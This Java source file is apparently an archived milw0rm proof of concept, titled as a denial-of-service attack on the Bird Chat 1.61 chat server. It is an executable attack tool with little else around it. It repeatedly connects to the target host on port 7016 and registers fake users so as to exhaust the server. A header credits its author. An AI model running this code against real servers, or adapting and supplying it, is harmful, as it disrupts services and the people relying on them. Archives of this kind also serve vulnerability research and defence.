130 lines
No EOL
2.6 KiB
Java
130 lines
No EOL
2.6 KiB
Java
/*
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Bird Chat 1.61 - Denial Of Service - Proof Of Concept
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Coded by: Donato Ferrante
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*/
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import java.net.Socket;
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import java.net.InetAddress;
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import java.net.ConnectException;
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import java.net.SocketTimeoutException;
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import java.io.OutputStream;
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import java.io.InputStream;
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public class BirdChat161_DoS_poc {
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private final static int MAX_CONNECTION = 16;
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private final static int PORT = 7016;
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private final static String VERSION = "0.1.0";
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public static void main(String [] args){
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System.out.println(
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"\n\nBird Chat 1.61 - Denial Of Service - Proof Of Concept\n" +
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"Version: " + VERSION + "\n\n" +
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"coded by: Donato Ferrante\n" +
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"e-mail: fdonato@autistici.org\n" +
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"web: www.autistici.org/fdonato\;n\n"
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);
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String host = "localhost";
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try{
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if(args.length != 1)
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usage();
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host = args[0];
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}catch(Exception e){usage();}
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try{
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int i = 1,
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var = 0;
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while(i++ <= MAX_CONNECTION){
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try{
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String err = "";
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int port = PORT;
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InetAddress addr = InetAddress.getByName(host);
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Socket socket = new Socket(addr, port);
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socket.setSoTimeout(3000);
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InputStream stream = socket.getInputStream();
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int line = stream.read();
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while(line != -1){
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if(line == '?'){
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break;
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}
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line = stream.read();
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}
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OutputStream outStream = socket.getOutputStream();
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outStream.write(("*user=fake_user0" + ++var + "\n").getBytes());
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int count = 0;
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line = stream.read();
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while(true){
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line = stream.read();
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if(line == '\n')
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count++;
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if(count >= 3)
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break;
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}
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}catch(SocketTimeoutException ste){break;}
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catch(ConnectException ce){System.err.println(ce); continue;}
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}
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}catch(Exception e){System.err.println(e);}
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System.out.println("\nBird Chat - Denial Of Service - Proof_Of_Concept terminated.\n\n");
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}
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private static void usage(){
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System.out.println("Usage: java BirdChat161_DoS_poc <host>\n\n");
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System.exit(-1);
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}
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}
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// milw0rm.com [2004-08-26] |